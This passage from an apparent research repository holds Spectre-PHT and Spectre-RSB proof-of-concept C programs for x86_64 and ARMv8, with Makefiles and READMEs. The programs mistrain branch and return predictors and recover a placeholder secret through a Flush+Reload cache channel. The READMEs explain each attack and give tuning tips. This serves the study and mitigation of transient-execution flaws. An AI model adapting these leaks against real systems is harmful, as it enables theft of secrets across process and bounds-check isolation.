    "content": "#include <pthread.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"../../../libcache/cacheutils.h\"\n\n// accessible data\n#define DATA \"data|\"\n// inaccessible secret (following accessible data)\n#define SECRET \"INACCESSIBLE SECRET\"\n\n#define likely(x)       __builtin_expect((x),1)\n#define unlikely(x)     __builtin_expect((x),0)\n\n\n#define DATA_SECRET DATA SECRET\n\nunsigned char data[128];\n\nchar access_array(int x) {\n  // flushing the data which is used in the condition increases\n  // probability of speculation\n  size_t len = sizeof(DATA) - 1;\n  mfence();\n  flush(&len);\n  flush(&x);\n  \n  // ensure data is flushed at this point\n  mfence();\n\n  // check that only accessible part (DATA) can be accessed\n  if (unlikely((float)x / (float)len < 1)) {\n    // countermeasure: add the fence here\n    cache_encode(data[x]);\n  }\n}\n\nvolatile int true = 1;\n\n// Span a large part of memory with jumps if equal\n#if defined(__i386__) || defined(__x86_64__)\n#define JE asm volatile(\"je end\");\n#else\n#define JE asm volatile(\"beq end\");\n#endif\n#define JE_16 JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE\n#define JE_256 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16\n#define JE_4K JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256\n#define JE_64K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K\n\nvoid oop() {\n    if(!true) true++;\n    JE_64K\n\nend:\n    return;\n}\n\nint main(int argc, const char **argv) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  // Detect cache threshold\n  if(!CACHE_MISS) \n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  char *_mem = malloc(4096 * (256 + 4));\n  // page aligned\n  mem = (char *)(((size_t)_mem & ~(pagesize - 1)) + pagesize * 2);\n  pid_t pid = fork();\n  // initialize memory\n  memset(mem, pid, pagesize * 256);\n\n  // store secret\n  memset(data, ' ', sizeof(data));\n  memcpy(data, DATA_SECRET, sizeof(DATA_SECRET));\n  // ensure data terminates\n  data[sizeof(data) / sizeof(data[0]) - 1] = '0';\n\n  // flush our shared memory\n  flush_shared_memory();\n\n  // nothing leaked so far\n  char leaked[sizeof(DATA_SECRET) + 1];\n  memset(leaked, ' ', sizeof(leaked));\n  leaked[sizeof(DATA_SECRET)] = 0;\n\n  int j = 0;\n  while (1) {\n    // for every byte in the string\n    j = (j + 1) % sizeof(DATA_SECRET);\n\n    // mistrain out of place\n\tif(pid == 0) {\n\t    for(int y = 0; y < 100; y++) {\n\t        oop();\n\t    }\n\t}\n\telse {\n\t\t// only show inaccessible values (SECRET)\n\t\tif(j >= sizeof(DATA) - 1) {\n\t\t  mfence(); // avoid speculation\n\t\t  // out of bounds access\n\t\t  access_array(j);\n      // Recover data from covert channel\n\t\t  cache_decode_pretty(leaked, j);\n    } \n\n\t\tif(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1))\n      break;\n\n\t\tsched_yield();\n\t\t}\n  }\n  printf(\"\\n\\x1b[1A[ ]\\n\\n[\\x1b[32m>\\x1b[0m] Done\\n\");\n\n  return 0;\n}\n"
  },
  {
    "path": "pocs/spectre/PHT/sa_ip/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/PHT/sa_ip/README.md",
    "content": "# Spectre-PHT PoC \n\nThis folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64  or ARMv8 respectively. \n\nThe expected output is\n```\n[*] Flush+Reload Threshold: 180\n[ ]  INACCESSIBLE SECRET \n\n[>] Done\n```\n\n## How it works\n\nThe array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the \"accessible\" part of the array. \nIf so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). \n\nThe longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation).\n```\nx < len  <=>  x / len < 1\n```\n(assuming both the length of the data as well as the index to the array are positive)\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/PHT/sa_ip/main.c",
    "content": "#include <pthread.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"../../../libcache/cacheutils.h\"\n\n// accessible data\n#define DATA \"data|\"\n// inaccessible secret (following accessible data)\n#define SECRET \"INACCESSIBLE SECRET\"\n\n#define DATA_SECRET DATA SECRET\n\nunsigned char data[128];\n\nchar access_array(int x) {\n  // flushing the data which is used in the condition increases\n  // probability of speculation\n  size_t len = sizeof(DATA) - 1;\n  mfence();\n  flush(&len);\n  flush(&x);\n  \n  // ensure data is flushed at this point\n  mfence();\n\n  // check that only accessible part (DATA) can be accessed\n  if((float)x / (float)len < 1) {\n    // countermeasure: add the fence here\n    // Encode in cache\n    cache_encode(data[x]);\n  }\n}\n\nint main(int argc, const char **argv) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  // Detect cache threshold\n  if(!CACHE_MISS) \n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  char *_mem = malloc(pagesize * (256 + 4));\n  // page aligned\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  // initialize memory\n  memset(mem, 0, pagesize * 256);\n  \n  // store secret\n  memset(data, ' ', sizeof(data));\n  memcpy(data, DATA_SECRET, sizeof(DATA_SECRET));\n  // ensure data terminates\n  data[sizeof(data) / sizeof(data[0]) - 1] = '0';\n\n  // flush our shared memory\n  flush_shared_memory();\n\n  // nothing leaked so far\n  char leaked[sizeof(DATA_SECRET) + 1];\n  memset(leaked, ' ', sizeof(leaked));\n  leaked[sizeof(DATA_SECRET)] = 0;\n\n  int j = 0;\n  while (1) {\n    // for every byte in the string\n    j = (j + 1) % sizeof(DATA_SECRET);\n\n    // mistrain with valid index\n    for(int y = 0; y < 10; y++) {\n      access_array(0);\n    }\n    // potential out-of-bounds access\n    access_array(j);\n\n    // only show inaccessible values (SECRET)\n    if(j >= sizeof(DATA) - 1) {\n      mfence(); // avoid speculation\n      // Recover data from covert channel\n      cache_decode_pretty(leaked, j);\n    }\n\n    if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1))\n      break;\n\n    sched_yield();\n  }\n  printf(\"\\n\\x1b[1A[ ]\\n\\n[\\x1b[32m>\\x1b[0m] Done\\n\");\n\n  return (0);\n}\n"
  },
  {
    "path": "pocs/spectre/PHT/sa_oop/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/PHT/sa_oop/README.md",
    "content": "# Spectre-PHT PoC \n\nThis folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. \n\nThe expected output is\n```\n[*] Flush+Reload Threshold: 180\n[ ]  INACCESSIBLE SECRET \n\n[>] Done\n```\n\n## How it works\n\nThe array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the \"accessible\" part of the array. \nIf so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds).\n\nThe longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation).\n\nFor the out-of-place mistraining of the Pattern History Table (PHT) that is responsible for the prediction we simply fill a large chunk of memory with a jump if equal follwing a comparison. We do this as we do not know the exact bits that are used for indexing the PHT.\n```\nx < len  <=>  x / len < 1\n```\n(assuming both the length of the data as well as the index to the array are positive)\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n    + **Solution #5:** This PoC depends on the code the compiler emits. Try inverting the JE macro or the if-statement in the mistraining function\n"
  },
  {
    "path": "pocs/spectre/PHT/sa_oop/main.c",
    "content": "#include <pthread.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"../../../libcache/cacheutils.h\"\n\n// accessible data\n#define DATA \"data|\"\n// inaccessible secret (following accessible data)\n#define SECRET \"INACCESSIBLE SECRET\"\n\n#define likely(x)       __builtin_expect((x),1)\n#define unlikely(x)     __builtin_expect((x),0)\n\n#define DATA_SECRET DATA SECRET\n\nunsigned char data[128];\n\nchar access_array(int x) {\n  // flushing the data which is used in the condition increases\n  // probability of speculation\n  size_t len = sizeof(DATA) - 1;\n  mfence();\n  flush(&len);\n  flush(&x);\n  \n  // ensure data is flushed at this point\n  mfence();\n\n  // check that only accessible part (DATA) can be accessed\n  if(unlikely((float)x / (float)len < 1)) {\n    // countermeasure: add the fence here\n    // Encode data in cache\n    cache_encode(data[x]);\n  }\n}\n\nvolatile int true = 1;\n\n// Span large part of memory with jump if equal\n#if defined(__i386__) || defined(__x86_64__)\n#define JE asm volatile(\"je end\");\n#elif defined(__aarch64__)\n#define JE asm volatile(\"beq end\");\n#endif\n#define JE_16 JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE\n#define JE_256 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16\n#define JE_4K JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256\n#define JE_64K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K\n\nvoid oop() {\n#if defined(__i386__) || defined(__x86_64__)\n  if(!true) true++;\n#elif defined(__aarch64__)\n\tif(true) true++;\n#endif\n  JE_64K\n\nend:\n  return;\n}\n\nint main(int argc, const char **argv) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  char *_mem = malloc(pagesize * (256 + 4));\n  // page aligned\n  mem = (char *)(((size_t)_mem & ~(pagesize - 1)) + pagesize * 2);\n  // initialize memory\n  memset(mem, 0, pagesize * 256);\n\n  // store secret\n  memset(data, ' ', sizeof(data));\n  memcpy(data, DATA_SECRET, sizeof(DATA_SECRET));\n  // ensure data terminates\n  data[sizeof(data) / sizeof(data[0]) - 1] = '0';\n\n  // flush everything\n  flush_shared_memory();\n\n  // nothing leaked so far\n  char leaked[sizeof(DATA_SECRET) + 1];\n  memset(leaked, ' ', sizeof(leaked));\n  leaked[sizeof(DATA_SECRET)] = 0;\n\n  int j = 0;\n  while(1) {\n    // for every byte in the string\n    j = (j + 1) % sizeof(DATA_SECRET);\n\n    // mistrain out of place\n    for(int y = 0; y < 100; y++) {\n        oop();\n    }\n\n    // only show inaccessible values (SECRET)\n    if(j >= sizeof(DATA) - 1) {\n      mfence(); // avoid speculation\n      // out of bounds access\n      access_array(j);\n      // Recover data from covert channel\n      cache_decode_pretty(leaked, j);\n    }\n\n    if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1))\n      break;\n\n    sched_yield();\n  }\n  printf(\"\\n\\x1b[1A[ ]\\n\\n[\\x1b[32m>\\x1b[0m] Done\\n\");\n\n  return 0;\n}\n"
  },
  {
    "path": "pocs/spectre/RSB/ca_ip/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/RSB/ca_ip/README.md",
    "content": "# Spectre-RSB PoC\n\nThis folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\nS S S S S S S S S S\n```\n\n## How it works\n\nIn this PoC, both attacker and victim call the function `in_place` and areb put to sleep for different amount of time. With the call to `in_place` both the attacker and victim push their return address on the RSB. When the victim wakes up first it returns and pops the last address from the RSB. This causes it to misspeculate to the return address of the attacker where the secret data is leaked.\n\nThis PoC works as the RSB is not flushed on a context switch and therefore the value pushed by another process are used by another one. The RSB is not shared among hyperthreads, so both attacker and victim must run on the same logical core.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n\n* The program appears to hang\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/RSB/ca_ip/main.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sched.h>\n#include <pthread.h>\n#include <sys/mman.h>\n#include <unistd.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SECRET 'S'\n\nchar secret;\npid_t is_child;\n\nvoid __attribute__((noinline)) in_place() {\n  // We let the child (victim) sleep for a shorter period of time\n  // Therefore, the victim should pop the attackers return address from the RSB\n\tif(is_child)\n\t\tusleep(500);\n\telse\n\t\tusleep(50);\n\treturn;\n}\n\nvoid __attribute__((noinline)) attacker() {\n\twhile(1) {\n\t\tin_place();\n    // Encode data in cache\n    // Victim is supposed to return\n\t\tcache_encode(secret);\n\t}\n  return;\n}\n\nvoid __attribute__((noinline)) victim() {\n  while(1) {\n    // Flush our shared memory\n    flush_shared_memory();\n    mfence();\n    \n    // Put to sleep and return transiently to wrong address before returning here\n    in_place();\n    \n    // Recover data from the covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) & 255;\n      if(flush_reload(mem + mix_i * pagesize)) {\n        if(mix_i != '.') {\n          printf(\"%c   \", mix_i);\n          fflush(stdout);\n        }\n      }\n    }\n  }\n}\n\nint main(int argc, char **argv) {\n  // Detect cache threshold\n  if (!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n  \n  pagesize = sysconf(_SC_PAGESIZE);\n  char *_mem = malloc(pagesize * (256 + 4));\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  memset(mem, 0, pagesize * 256);\n\n  // OOP attack, so fork\n  is_child  = fork() == 0;\n\n  // Attacker always encodes a dot in the cache\n  if(is_child) {\n    secret = '.';\n\t  attacker();\n\t} else {\n    secret = SECRET;\n\t  victim();\n\t}\n}\n"
  },
  {
    "path": "pocs/spectre/RSB/ca_oop/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/RSB/ca_oop/README.md",
    "content": "# Spectre-RSB PoC\n\nThis folder contains a Spectre-RSB proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S     \n```\n\n## How it works\n\nIn this PoC, the victim constantly calls the function `wrong_return` and is put to sleep while the attacker (in his own process) manipulates the software stack by destroying the return address. Important is that the attacker does this in a function which is called so that the return address is pushed on the RSB. The attacker then returns from the function with an ordinary jump instead of a return so that the value is not popped from the RSB. When the victim wakes up it will return to the wrong location and leaks the secret data.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n\n* The program appears to hang \n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/RSB/ca_oop/main.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sched.h>\n#include <pthread.h>\n#include <sys/mman.h>\n#include <unistd.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SECRET 'S'\n\nchar secret;\n\n// Put to sleep for a long period of time \nvoid __attribute__((noinline)) wrong_return() {\n  usleep(100000);\n  return;\n}\n\n// Pop the return address from the software stack, causing misspeculation\nvoid __attribute__((noinline)) pollute_rsb() {\n#if defined(__i386__) || defined(__x86_64__)\n  asm volatile(\"pop %%rax\\n\" : : : \"rax\");\n  asm(\"jmp return_label\");\n#elif defined(__aarch64__)\n  asm volatile(\"ldp x29, x30, [sp],#16\\n\" : : : \"x29\");\n  asm(\"b return_label\");\n#endif\n}\n\nint main(int argc, char **argv) {\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n \n  pagesize = sysconf(_SC_PAGESIZE);\n  char *_mem = malloc(pagesize * (256 + 4));\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  memset(mem, 0, pagesize * 256);\n\n  // OOP attack, so fork\n  pid_t is_child = fork() == 0;\n\n  // Attacker always encodes a dot in the cache\n  if(is_child)\n    secret = '.';\n  else\n    secret = SECRET;\n\n  // Attacker destroys the software stack return address, causing misspeculation\n  if(is_child) {\n    while (1) {\n      // required so that we don't return from our pollute_rsb function, never popping it from the RSB\n      asm(\"return_label:\");\n      pollute_rsb();\n      // no real execution of this maccess, so we normally should never have cache hits\n      // Victim is transiently misdirected here\n\t\t  cache_encode(secret);\n      maccess(0);\n    }\n  } else {\n    while(1) {\n      // Flush shared memory\n      flush_shared_memory();\n      mfence();\n      // Call function and transiently return to wrong location before coming back here\n\t  \twrong_return();\n\n      // Recover data from covert channel\n      for (int i = 0; i < 256; i++) {\n        // flush and reload\n        if (flush_reload(mem + i * pagesize)) {\n          printf(\"%c   \", i);\n          fflush(stdout);\n        }\n      }\n      sched_yield();\n    }\n  }\n}\n"
  },
  {
    "path": "pocs/spectre/RSB/sa_ip/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ -lpthread\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ -lpthread\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/RSB/sa_ip/README.md",
    "content": "# Spectre-RSB PoC\n\nThis folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\n\nIn this PoC, both attacker and victim write a value to a register and call the function `in_place`. This function retrieves the value from the register and uses it as input to the function `usleep`. With the call to `in_place` both the attacker and victim push their return address on the RSB. When the victim wakes up first it returns and pops the last address from the RSB. This causes it to misspeculate to the return address of the attacker where the secret data is leaked.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n\n* The program appears to hang\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/RSB/sa_ip/main.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sched.h>\n#include <pthread.h>\n\n#include \"libcache/cacheutils.h\"\n\n// Sleep for an predetermined amount of time specified in register r14\nvoid __attribute__((noinline)) in_place() {\n  size_t time = 0;\n\tasm volatile(\"movq %%r14, %0\\n\\t\" : \"=r\"(time));\n  \n  usleep(time);\n  return;\n}\n\nvoid* __attribute__((noinline)) attacker() {\n  // Attacker is going to sleep for 65\n  asm volatile(\"movq $65, %r14\\t\\n\"); // 65 is 'A'\n  \n  while(1) {\n    // Put to sleep\n    // As victim will sometimes wake up before the attacker, it will return here\n    in_place();\n    size_t secret = 0;\n    // Retrieve secret data from register r14\n    asm volatile(\"movq %%r14, %0\\n\\t\": \"=r\"(secret));\n    \n    // Encode data in covert channel\n    cache_encode(secret);\n  }\n}\n\nvoid* __attribute__((noinline)) victim() {\n  // Victim is going to sleep for 83\n\tasm volatile(\"movq $83, %r14\\t\\n\"); // 83 is 'S'\n  while(1) {\n    // Call function and return here after misspeculation is detected\n    in_place();\n  }\n}\n\nint main(int argc, char **argv) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  char *_mem = malloc(pagesize * (256 + 4));\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  memset(mem, 0, pagesize * 256);\n\n  // Create two interleaving threads\n  pthread_t attacker_thread;\n  pthread_t victim_thread;\n  pthread_create(&attacker_thread, 0, attacker, 0);\n  pthread_create(&victim_thread, 0, victim, 0);\n\n  while(1) {\n    // Flush our shared memory\n    flush_shared_memory();\n\n    mfence();\n    nospec();\n\n    // Recover data from covert channel\n    for (int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher\n      if (flush_reload(mem + mix_i * pagesize)) {\n        if (mix_i > 'A' && mix_i <= 'Z') {\n          printf(\"%c   \", mix_i);\n          break;\n        }\n        fflush(stdout);\n        sched_yield();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "pocs/spectre/RSB/sa_oop/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/RSB/sa_oop/README.md",
    "content": "# Spectre-RSB PoC\n\nThis folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\n[*] Flush+Reload Threshold: 180\n[ ] INACCESSIBLE SECRET\n\n[>] Done\n```\n\n## How it works\n\nThe PoC has the following call chain consisting of 3 functions:\n\n     +------------+      +-----------+      +-----------------------+\n     | call_start | ---> | call_leak | ---> | call_manipulate_stack |\n     +------------+      +-----------+      +-----------------------+\n           ^                  ^ - - - - - - - ' (speculatively)  |\n           '-----------------------------------------------------'\n                  (architecturally)\n\nThe `call_leak` function encodes some secret data and encodes the value at the given index in the cache (cf. Spectre or Meltdown attack).\nAs the `call_manipulate_stack` removes the return address (which points to `call_leak`) from the stack, the return from `call_manipulate_stack` continues (architecturally) in `call_start`.\nSpeculatively, however, the return returns to `call_leak` (as this is the location stored in the RSB) where the secret value is leaked.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n\n* The program appears to hang\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable 